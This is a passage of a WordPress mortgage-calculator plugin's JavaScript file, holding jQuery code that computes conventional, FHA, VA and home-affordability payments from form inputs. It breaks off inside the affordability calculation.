/home/bonphmya/geseroff.online/wp-content/plugins/mortgage-calculators-wp/assets/js/wpmc.js
var $mcwp = jQuery.noConflict();
$mcwp(function($) {

    $(document).on('click', '.mcwp-submit', function(e) {
        //$('.wpmc-submit').on('click',function(e) {
        e.preventDefault();

        var forma = $(this).closest('form');
        var serializaFrom = $(forma).serializeArray();
        var post_data = {};
        $.each($(forma).serializeArray(), function() {
            post_data[this.name] = this.value;
        });
        currentFormEmail = $('input[type="email"]', forma).val();
        if (!validateEmail(currentFormEmail)) {
            alert('Your Email is not valid!');
            return false;
        }

        $.post(mcwp_ajax.ajaxurl, post_data, function(response) {
            alert(mcwp_ajax.calc_res);
        });

    });

    function validateEmail(email) {
        var re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
        return re.test(String(email).toLowerCase());
    }

    $(".ex1").bootstrapSlider();

    function addCommas(intNum) {
        val = intNum;
        var parts = val.toString().split(".");
        parts[0] = parts[0].replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        return parts.join(".");
    }

    function removeco(val) {
        /*replace string replace to global string replace function to global replacement*/
        /*return val.replace(',','');	*/
        return val.replace(/,/g, "");
    }
    /****************************************************************************************************************************************
    Conventional Calculator
    **************************************************************************************************************************************/
    /*
    if ($('#inp_purchase_price').val()) {
    };
    */
    $('form.mcalc-conventional').each(function() {

        var $parent = $(this);
        //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
        var purchase_price = removeco($("#inp_purchase_price", $parent).val());
        var down_payment_percent = $(".down_payment_scrl", $parent).val();
        var down_payment = (purchase_price * down_payment_percent) / 100;
        var interest_rate = $(".interest_rate_scrl", $parent).val();
        var mortgage_term = $("#mortgage_term_yr", $parent).val();
        var annual_tax_percent = $(".annual_tax_scrl", $parent).val();
        var annual_tax = (purchase_price * annual_tax_percent) / 100;
        var monthly_tax = (annual_tax / 12);
        var monthly_insurance = ($("#annual_insurance_inp", $parent).val() / 12);
        var monthly_hoa = $("#monthly_hoa_inp", $parent).val();
        $("#down_payment_inp", $parent).val(addCommas(down_payment));
        $("#annual_tax_inp", $parent).val(addCommas(annual_tax));
        mortgage_calc($parent);

        $parent.find('#mortgage_term_yr').on('change', function(event) {
            //$(document).on('change', '#mortgage_term_yr', function () {
            //purchase * down payment
            if (this.value == 15) {
                mortgage_term_yr = .0045
            } else {
                mortgage_term_yr = .0085
            }
            //mortgage_calc(purchase_price, down_payment, interest_rate, this.value, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            mortgage_calc($parent);
        });

        //mortgage_calc($parent);
        $parent.find('#monthly_hoa_inp').on('keyup', function(event) {
            //hideShowLayer(markerLayer);
            monthly_hoa = $(this).val() == "" ? 0 : $(this).val();
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            mortgage_calc($parent);
        });

        $parent.find(".ex1").on("change", function(slideEvt) {
            if ($(this).hasClass("down_payment_scrl")) {
                down_payment_percent = slideEvt.value.newValue;
                $(this).next("p").text(roundOff(down_payment_percent) + "%");
                down_payment = (purchase_price * down_payment_percent) / 100;
                $("#down_payment_inp", $parent).val(addCommas(down_payment));
                //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            }
            if ($(this).hasClass("annual_tax_scrl")) {
                annual_tax_percent = slideEvt.value.newValue;
                $(this).next("p").text(annual_tax_percent + "%");
                annual_tax = (purchase_price * annual_tax_percent) / 100;
                monthly_tax = (annual_tax / 12);
                $("#annual_tax_inp", $parent).val(addCommas(roundOff(annual_tax)));
                //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            }
            if ($(this).hasClass("interest_rate_scrl")) {
                interest_rate = slideEvt.value.newValue;
                $(this).next("p").text(interest_rate) + "%";
                //mortgage_calc(purchase_price, down_payment, interest_rate, mortgage_term, monthly_tax, monthly_insurance, monthly_hoa, annual_tax_percent);
            }
            mortgage_calc($parent);
        });

        $parent.find("#inp_purchase_price").keyup(function() {
            purchase_price = $(this).val() == "" ? 0 : $(this).val();
            purchase_price = removeco(purchase_price);
            down_payment = (purchase_price * down_payment_percent) / 100;
            $("#down_payment_inp", $parent).val(addCommas(down_payment));
            $(this).val(purchase_price);
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            mortgage_calc($parent);
        });

        $parent.find("#down_payment_inp").keyup(function() {
            down_payment = removeco($(this).val()) == "" ? 0 : removeco($(this).val());
            down_payment_percent = (down_payment / purchase_price) * 100;
            $(".down_payment_scrl", $parent).bootstrapSlider('setValue', down_payment_percent).next("p").text(roundOff(down_payment_percent) + "%");
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            mortgage_calc($parent);
        });

        $parent.find("#annual_tax_inp").keyup(function() {
            annual_tax = $(this).val() == "" ? 0 : removeco($(this).val());
            annual_tax_percent = (annual_tax / purchase_price) * 100;
            $(".annual_tax_scrl", $parent).bootstrapSlider('setValue', annual_tax_percent).next("p").text(roundOff(annual_tax_percent) + "%");
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            $("#annual_tax_inp", $parent).val(addCommas(annual_tax));
            monthly_tax = (annual_tax / 12);
            mortgage_calc($parent);
        });
        $parent.find("#annual_insurance_inp").keyup(function() {
            monthly_insurance = $(this).val() == "" ? 0 : (removeco($(this).val()) / 12);
            $(this).val(function(index, value) {
                return value
                    .replace(/\D/g, "")
                    .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            });
            mortgage_calc($parent);
        });


    });
    //function mortgage_calc(price, down, rate, term, tax, insurance, hoa) {
    function mortgage_calc($parent) {
        price = removeco($("#inp_purchase_price", $parent).val());
        down_payment_percent = $(".down_payment_scrl", $parent).val();
        down = (price * down_payment_percent) / 100;
        rate = $(".interest_rate_scrl", $parent).val();
        term = $("#mortgage_term_yr", $parent).val();
        //annual_tax_percent = $(".annual_tax_scrl", $parent).val();
        annual_tax_percentNew = $(".annual_tax_scrl", $parent).next("p").text();
        annual_tax_percentNew = annual_tax_percentNew.replace("%", "");
        annual_tax = (price * annual_tax_percentNew) / 100;
        tax = (annual_tax / 12);
        insurance = removeco($("#annual_insurance_inp", $parent).val()) / 12;
        hoa = removeco($("#monthly_hoa_inp").val()) == "" ? 0 : removeco($("#monthly_hoa_inp", $parent).val())
        var n = parseInt(term) * 12;
        var c = parseFloat(rate) / 1200;
        var L = parseInt(price) - parseFloat(down);
        var p = Math.round((L * (c * Math.pow(1 + c, n))) / (Math.pow(1 + c, n) - 1));
        var emmp = parseFloat(p) + parseFloat(tax) + parseFloat(insurance) + parseFloat(hoa);
        changethis = roundOff(emmp, 2);
        $("#emmp_div_span", $parent).text(addCommas(roundOff(emmp, 2)));
        $("#pi_div_span", $parent).text(addCommas(p));
        $("#mtax_div_span", $parent).text(addCommas(roundOff(tax, 2)));
        $("#minsure_div_span", $parent).text(addCommas(roundOff(insurance, 2)));
        $("#hoa_div_span", $parent).text(addCommas(hoa));

        $(".emmp_div_span", $parent).val(addCommas(roundOff(emmp, 2)));
        $(".pi_div_span", $parent).val(addCommas(p));
        $(".mtax_div_span", $parent).val(addCommas(roundOff(tax, 2)));
        $(".minsure_div_span", $parent).val(addCommas(roundOff(insurance, 2)));
        $(".hoa_div_span", $parent).val(addCommas(hoa));
        //$("#down_payment_inp", $parent).val(addCommas(down));
        //$("#annual_tax_inp", $parent).val(addCommas(annual_tax));
    }
    /****************************************************************************************************************************************
    FHA Calculator
    **************************************************************************************************************************************/

    if ($('#fha_inp_purchase_price').val()) {
        var fha_purchase_price = removeco($("#fha_inp_purchase_price").val());
        var fha_down_payment_percent = $(".fha_down_payment_scrl").val();
        var fha_down_payment = (fha_purchase_price * fha_down_payment_percent) / 100;
        var fha_interest_rate = $(".fha_interest_rate_scrl").val();
        var fha_mortgage_term = $("#fha_mortgage_term_yr").val();
        var fha_annual_tax_percent = $(".fha_annual_tax_scrl").val();
        var fha_annual_tax = (fha_purchase_price * fha_annual_tax_percent) / 100;
        var fha_monthly_tax = (fha_annual_tax / 12);
        var fha_monthly_insurance = ($("#fha_annual_insurance_inp").val() / 12);
        var monthly_mortgage_insurance = ($("#fha_mmi_div_span").val() / 200);
        var fha_monthly_hoa = $("#fha_monthly_hoa_inp").val();
        $("#fha_down_payment_inp").val(addCommas(fha_down_payment));
        $("#fha_annual_tax_inp").val(addCommas(fha_annual_tax));
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    };
    $(document).on('change', '#fha_mortgage_term_yr', function() {
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, this.value, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $(".ex1").on("change", function(slideEvt) {
        if ($(this).hasClass("fha_down_payment_scrl")) {
            fha_down_payment_percent = slideEvt.value.newValue;
            $(this).next("p").text(roundOff(fha_down_payment_percent) + "%");
            fha_down_payment = (fha_purchase_price * fha_down_payment_percent) / 100;
            $("#fha_down_payment_inp").val(addCommas(fha_down_payment));
            fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
        }
        if ($(this).hasClass("fha_annual_tax_scrl")) {
            fha_annual_tax_percent = slideEvt.value.newValue;
            $(this).next("p").text(fha_annual_tax_percent + "%");
            fha_annual_tax = (fha_purchase_price * fha_annual_tax_percent) / 100;
            fha_monthly_tax = (fha_annual_tax / 12);
            $("#fha_annual_tax_inp").val(addCommas(roundOff(fha_annual_tax)));
            fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa, 'no');
        }
        if ($(this).hasClass("fha_interest_rate_scrl")) {
            fha_interest_rate = slideEvt.value.newValue;
            $(this).next("p").text(fha_interest_rate) + "%";
            fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
        }
    });
    $("#fha_inp_purchase_price").keyup(function() {
        fha_down_payment_percent = Number($(".fha_down_payment_scrl").val());
        fha_purchase_price = $(this).val() == "" ? 0 : removeco($(this).val());
        fha_down_payment = (fha_purchase_price * fha_down_payment_percent) / 100;
        fha_down_payment = fha_down_payment;
        $("#fha_down_payment_inp").val(addCommas(fha_down_payment));
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $("#fha_down_payment_inp").keyup(function() {
        fha_down_payment = $(this).val() == "" ? 0 : removeco($(this).val());
        fha_down_payment = parseInt(fha_down_payment);
        fha_down_payment_percent = (fha_down_payment / fha_purchase_price) * 100;
        $(".fha_down_payment_scrl").bootstrapSlider('setValue', fha_down_payment_percent).next("p").text(roundOff(fha_down_payment_percent) + "%");
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $("#fha_annual_tax_inp").keyup(function() {
        fha_annual_tax = $(this).val() == "" ? 0 : removeco($(this).val());
        fha_annual_tax = Number(fha_annual_tax);
        fha_annual_tax = roundOff(fha_annual_tax);
        fha_annual_tax_percent = (fha_annual_tax / fha_purchase_price) * 100;
        $(".fha_annual_tax_scrl").bootstrapSlider('setValue', fha_annual_tax_percent).next("p").text(roundOff(fha_annual_tax_percent) + "%");
        $(this).val(function(index, value) {
            newval = value.replace(/\D/g, "").replace(/\B(?=(\d{3})+(?!\d))/g, ",");
            return newval;
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
        fha_monthly_tax = (fha_annual_tax / 12);
        $(".mtchange").empty();
        $(".mtchange").empty().text(addCommas(roundOff(fha_monthly_tax, 2)));
    });
    $("#fha_annual_insurance_inp").keyup(function() {
        fha_monthly_insurance = $(this).val() == "" ? 0 : ($(this).val() / 12);
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });
    $("#fha_mmi_div_span").keyup(function() {
        monthly_mortgage_insurance = $(this).val() == "" ? 0 : ($(this).val() / 0);
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, monthly_mortgage_insurance, fha_monthly_hoa);
    });
    $("#fha_monthly_hoa_inp").keyup(function() {
        fha_monthly_hoa = $(this).val() == "" ? 0 : $(this).val();
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        fha_mortgage_calc(fha_purchase_price, fha_down_payment, fha_interest_rate, fha_mortgage_term, fha_monthly_tax, fha_annual_tax_percent, fha_monthly_insurance, fha_monthly_hoa);
    });

    function fha_mortgage_calc(price, down, rate, term, tax, tax_prcnt, insurance, hoa, show) {

        price = removeco($("#fha_inp_purchase_price").val());
        fha_down_payment_percent = $(".fha_down_payment_scrl").val();
        down = (price * fha_down_payment_percent) / 100;
        rate = $(".fha_interest_rate_scrl").val();
        term = $("#fha_mortgage_term_yr").val();

        //tax_prcnt = $(".fha_annual_tax_scrl").val();
        //fha_annual_tax = (price * tax_prcnt)/100;
        //tax = (fha_annual_tax/12);

        insurance = removeco($("#fha_annual_insurance_inp").val()) / 12;
        //monthly_mortgage_insurance = ($("#fha_mmi_div_span").val()/200);
        hoa = removeco($("#fha_monthly_hoa_inp").val()) == "" ? 0 : removeco($("#fha_monthly_hoa_inp").val());

        var n = parseInt(term) * 12;
        var c = parseFloat(rate) / 1200;
        var L = parseInt(price) - parseFloat(down);
        var p = Math.round((L * (c * Math.pow(1 + c, n))) / (Math.pow(1 + c, n) - 1));
        //var arr = {PI:p, EMMP:parseInt(p)+parseInt(tax)+parseInt(insurance)+parseInt(hoa)};
        if (term == 15) {
            tax_prcnt = 0.45;
        } else if (term == 30) {
            tax_prcnt = 0.85;
        }
        var mmi = Math.round(((parseInt(L) + parseInt(L * (rate / 100))) * (tax_prcnt / 100)) / 12);
        var emmp = parseFloat(p) + parseFloat(tax) + parseFloat(insurance) + parseFloat(hoa) + parseFloat(mmi);
        $("#fha_emmp_div_span").text(addCommas(roundOff(emmp, 2)));
        $("#fha_pi_div_span").text(addCommas(p));
        $("#fha_mtax_div_span").text(addCommas(roundOff(tax, 2)));
        $("#fha_minsure_div_span").text(addCommas(roundOff(insurance, 2)));
        if (show != 'no') {
            $("#fha_mmi_div_span").text(addCommas(mmi));
        }
        $("#fha_hoa_div_span").text(addCommas(hoa));


        $(".fha_emmp_div_span").val(addCommas(roundOff(emmp, 2)));
        $(".fha_pi_div_span").val(addCommas(p));
        $(".fha_mtax_div_span").val(addCommas(roundOff(tax, 2)));
        $(".fha_minsure_div_span").val(addCommas(roundOff(insurance, 2)));
        if (show != 'no') {
            $(".fha_mmi_div_span").val(addCommas(mmi));
        }
        $(".fha_hoa_div_span").val(addCommas(hoa));



    }
    /****************************************************************************************************************************************
    VA Calculator
    **************************************************************************************************************************************/
    if ($('#va_inp_purchase_price').val()) {
        var va_purchase_price = $("#va_inp_purchase_price").val();
        va_purchase_price = removeco(va_purchase_price);
        var va_down_payment_percent = $(".va_down_payment_scrl").val();
        var va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
        var va_interest_rate = $(".va_interest_rate_scrl").val();
        var va_mortgage_term = $("#va_mortgage_term_yr").val();
        var va_annual_tax_percent = $(".va_annual_tax_scrl").val();
        var va_annual_tax = (va_purchase_price * va_annual_tax_percent) / 100;
        var va_monthly_tax = (va_annual_tax / 12);
        var va_monthly_insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        var va_monthly_hoa = $("#va_monthly_hoa_inp").val();
        $("#va_down_payment_inp").val(addCommas(va_down_payment));
        $("#va_annual_tax_inp").val(addCommas(va_annual_tax));
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    };
    $(document).on('change', '#va_mortgage_term_yr', function() {
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, this.value, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $(".ex1").on("change", function(slideEvt) {
        if ($(this).hasClass("va_down_payment_scrl")) {
            va_down_payment_percent = slideEvt.value.newValue;
            $(this).next("p").text(va_down_payment_percent + "%");
            va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
            $("#va_down_payment_inp").val(addCommas(va_down_payment));
            va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
        }
        if ($(this).hasClass("va_annual_tax_scrl")) {
            va_annual_tax_percent = slideEvt.value.newValue;
            $(this).next("p").text(roundOff(va_annual_tax_percent) + "%");
            va_annual_tax = (va_purchase_price * va_annual_tax_percent) / 100;
            va_monthly_tax = (va_annual_tax / 12);
            $("#va_annual_tax_inp").val(addCommas(roundOff(va_annual_tax)));
            va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
        }
        if ($(this).hasClass("va_interest_rate_scrl")) {
            va_interest_rate = slideEvt.value.newValue;
            $(this).next("p").text(va_interest_rate) + "%";
            va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
        }
    });

    $("#va_inp_purchase_price").keyup(function() {
        va_purchase_price = $(this).val() == "" ? 0 : $(this).val();
        va_purchase_price = removeco(va_purchase_price);
        va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
        $("#va_down_payment_inp").val(addCommas(va_down_payment));
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $("#va_down_payment_inp").keyup(function() {
        va_down_payment = $(this).val() == "" ? 0 : $(this).val();
        va_down_payment = removeco(va_down_payment);
        va_down_payment_percent = (va_down_payment / va_purchase_price) * 100;
        $(".va_down_payment_scrl").bootstrapSlider('setValue', va_down_payment_percent).next("p").text(roundOff(va_down_payment_percent) + "%");
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });



    $("#va_annual_tax_inp").keyup(function() {
        va_annual_tax = $(this).val() == "" ? 0 : $(this).val();
        va_annual_tax = removeco(va_annual_tax);
        va_annual_tax_percent = (va_annual_tax / va_purchase_price) * 100;
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "")
                .replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_monthly_tax = (va_annual_tax / 12);
        $(".va_annual_tax_scrl").bootstrapSlider('setValue', va_annual_tax_percent).next("p").text(roundOff(va_annual_tax_percent) + "%");
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $("#va_annual_insurance_inp").keyup(function() {
        va_monthly_insurance = $(this).val() == "" ? 0 : (removeco($(this).val()) / 12);
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "").replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);

    });
    $("#va_monthly_hoa_inp").keyup(function() {
        va_monthly_hoa = $(this).val() == "" ? 0 : $(this).val();
        $(this).val(function(index, value) {
            return value
                .replace(/\D/g, "").replace(/\B(?=(\d{3})+(?!\d))/g, ",");
        });
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);

    });
    $(document).on('change', '#va_service_type', function() {
        va_monthly_insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });
    $(document).on('change', '#va_frist_time', function() {
        va_monthly_insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        va_mortgage_calc(va_purchase_price, va_down_payment, va_interest_rate, va_mortgage_term, va_monthly_tax, va_down_payment_percent, va_monthly_insurance, va_monthly_hoa);
    });


    function va_mortgage_calc(price, down, rate, term, tax, down_prcnt, insurance, hoa) {

        var va_purchase_price = $("#va_inp_purchase_price").val();
        price = removeco(va_purchase_price);

        va_down_payment_percent = $(".va_down_payment_scrl").val();
        down = (price * va_down_payment_percent) / 100;

        rate = $(".va_interest_rate_scrl").val();
        term = $("#va_mortgage_term_yr").val();
        a_annual_tax_percent = $(".va_annual_tax_scrl").val();
        va_annual_tax = (price * va_annual_tax_percent) / 100;
        tax = (va_annual_tax / 12);
        insurance = (removeco($("#va_annual_insurance_inp").val()) / 12);
        hoa = removeco($("#va_monthly_hoa_inp").val()) == "" ? 0 : removeco($("#va_monthly_hoa_inp").val());

        //console.warn("purchase_price "+purchase_price+", down_payment "+down_payment+", interest_rate "+interest_rate+", mortgage_term "+mortgage_term)
        //e_rate = 0;
        //console.log(down_prcnt);
        if ($("#va_frist_time").val() == "yes") {
            if ($("#va_service_type").val() == "regular_military") {
                if (down_prcnt == 0) {
                    e_rate = 2.15;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.50;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.25;
                }
            }
            if ($("#va_service_type").val() == "reserves_national") {
                if (down_prcnt == 0) {
                    e_rate = 2.4;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.75;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.5;
                }
            }
        } else if ($("#va_frist_time").val() == "no") {
            if ($("#va_service_type").val() == "regular_military") {
                if (down_prcnt == 0) {
                    e_rate = 3.3;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.50;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.25;
                }
            }
            if ($("#va_service_type").val() == "reserves_national") {
                if (down_prcnt == 0) {
                    e_rate = 3.3;
                }
                if (down_prcnt >= 5 && down_prcnt < 10) {
                    e_rate = 1.75;
                }
                if (down_prcnt >= 10) {
                    e_rate = 1.5;
                }
            }
        }
        //price, down, rate, term, tax, down_prcnt, insurance, hoa
        var n = parseInt(term) * 12;
        var c = parseFloat(rate) / 1200;
        var L = parseInt(price) - parseFloat(down);
        var p = Math.round((L * (c * Math.pow(1 + c, n))) / (Math.pow(1 + c, n) - 1));
        var vaff = Math.round((L * e_rate) / 18000);
        //var arr = {PI:p, EMMP:parseInt(p)+parseInt(tax)+parseInt(insurance)+parseInt(hoa)};
        var emmp = parseFloat(p) + parseFloat(tax) + parseFloat(insurance) + parseFloat(hoa) + parseFloat(vaff);
        $("#va_emmp_div_span").text(addCommas(roundOff(emmp, 2)));
        $("#va_pi_div_span").text(addCommas(p));
        $("#va_mtax_div_span").text(addCommas(roundOff(tax, 2)));
        $("#va_minsure_div_span").text(addCommas(roundOff(insurance, 2)));
        $("#va_hoa_div_span").text(addCommas(hoa));
        //$("#va_funding_fee_div_span").text(addCommas(hoa));
        $("#va_purchase_p_span").text(addCommas(price));
        $("#va_funding_fee_p_span").html(addCommas((L * e_rate) / 100));
        va_funding_fee_p_span = removeco($("#va_funding_fee_p_span").text());
        va_funding_fee_p_span = Number(va_funding_fee_p_span);
        //(Purchase Price - Down Payment) + VA Funding Fee
        va_purchase_price = removeco($("#va_inp_purchase_price").val());
        va_purchase_price = Number(va_purchase_price);
        va_down_payment_percent = $(".va_down_payment_scrl").val();
        va_down_payment_percent = Number(va_down_payment_percent);
        va_down_payment = (va_purchase_price * va_down_payment_percent) / 100;
        va_amount_finance_p_span = (va_purchase_price - va_down_payment) + va_funding_fee_p_span;
        $("#va_amount_finance_p_span").html(addCommas(roundOff(Number(va_amount_finance_p_span))));

        $(".va_emmp_div_span").val($("#va_emmp_div_span").text());
        $(".va_pi_div_span").val($("#va_pi_div_span").text());
        $(".va_mtax_div_span").val($("#va_mtax_div_span").text());
        $(".va_minsure_div_span").val($("#va_minsure_div_span").text());
        $(".va_hoa_div_span").val($("#va_hoa_div_span").text());
        //$("#va_funding_fee_div_span").val($("#va_funding_fee_div_span").text());.text());
        //$(".va_purchase_p_span").val($("#va_purchase_p_span").text());
        $(".va_funding_fee_p_span").val($("#va_funding_fee_p_span").text());
        $(".va_amount_finance_p_span").val($("#va_amount_finance_p_span").text());
        //$("#va_amount_finance_p_span").html(addCommas(parseInt(L)+((L*e_rate)/100)));
    }

    function roundOff(number, precision) {
        num = number;
        return num.toFixed(2);
    }
    /****************************************************************************************************************************************
    Home Affordability Calculator
    **************************************************************************************************************************************/
    function mha_mortgage_calc() {
        var mha_annual_income = removeco($("#mha_annual_income").val());
        $("#mha_annual_income").val(addCommas(mha_annual_income));
        var mha_interest_rate = removeco($("#mha_interest_rate").val());
        $("#mha_interest_rate").val(addCommas(mha_interest_rate));
        var mha_monthly_debts = removeco($("#mha_monthly_debts").val());
        $("#mha_monthly_debts").val(addCommas(mha_monthly_debts));

        var mha_estimated_annual_home_insurance = removeco($("#mha_estimated_annual_home_insurance").val());
        $("#mha_estimated_annual_home_insurance").val(addCommas(mha_estimated_annual_home_insurance));
        var mha_estimated_annual_property_taxes = removeco($("#mha_estimated_annual_property_taxes").val());
        $("#mha_estimated_annual_property_taxes").val(addCommas(mha_estimated_annual_property_taxes));
        var mha_down_payment = removeco($("#mha_down_payment").val());
        $("#mha_down_payment").val(addCommas(mha_down_payment));
        var mha_loan_term = removeco($("#mha_loan_term").val());
        $("#mha_loan_term").val(addCommas(mha_loan_term));
        if (mha_loan_term == "") {
            mha_loan_term = 30;
        }

        if (mha_annual_income != "" && mha_interest_rate != "") {
            var minimum_monthly_debts = ((mha_annual_income * 8) / 100) / 12;
            if (mha_monthly_debts == '' || mha_monthly_debts < minimum_monthly_debts) {
                var mha_est_monthly_payment = ((mha_annual_income / 12) * 0.40) - minimum_monthly_debts;

                if (mha_estimated_annual_property_taxes != '') {
                    var mha_taxes = mha_estimated_annual_property_taxes / 12;
                } else {
                    var mha_taxes = 0;
                }
                if (mha_estimated_annual_home_insurance != '') {
                    var mha_insurance = mha_estimated_annual_home_insurance / 12;
                } else {
                    var mha_insurance = 0;
                }
                var mha_P_I = mha_est_monthly_payment - (mha_taxes + mha_insurance);

                var aaaaa = (mha_interest_rate / 100 / 12);
                var mpowerdata = Math.pow((1 + (mha_interest_rate / 100 / 12)), (-mha_loan_term * 12));
                var bbbbb = (1 - (mpowerdata));
                var ab = bbbbb / aaaaa;

                if (ab < 0) {
                    var temp = ab * mha_P_I;
                    var ab_total = temp - parseInt(mha_down_payment);
                } else {
                    var temp = ab * mha_P_I;
                    var ab_total = temp + parseInt(mha_down_payment);
                }
                if (ab_total <= 0) {
                    $("#mha_afford_house_div_span").html('0');
                } else {
                    $("#mha_afford_house_div_span").html(Number(Math.round(ab_total)).toLocaleString('en'));
                }
                if (mha_est_monthly_payment <= 0) {
                    $("#mha_emmp_div_span").html('0');
                } else {
                    $("#mha_emmp_div_span").html(Number(Math.round(mha_est_monthly_payment)).toLocaleString('en'));
                }
                if (mha_P_I <= 0) {
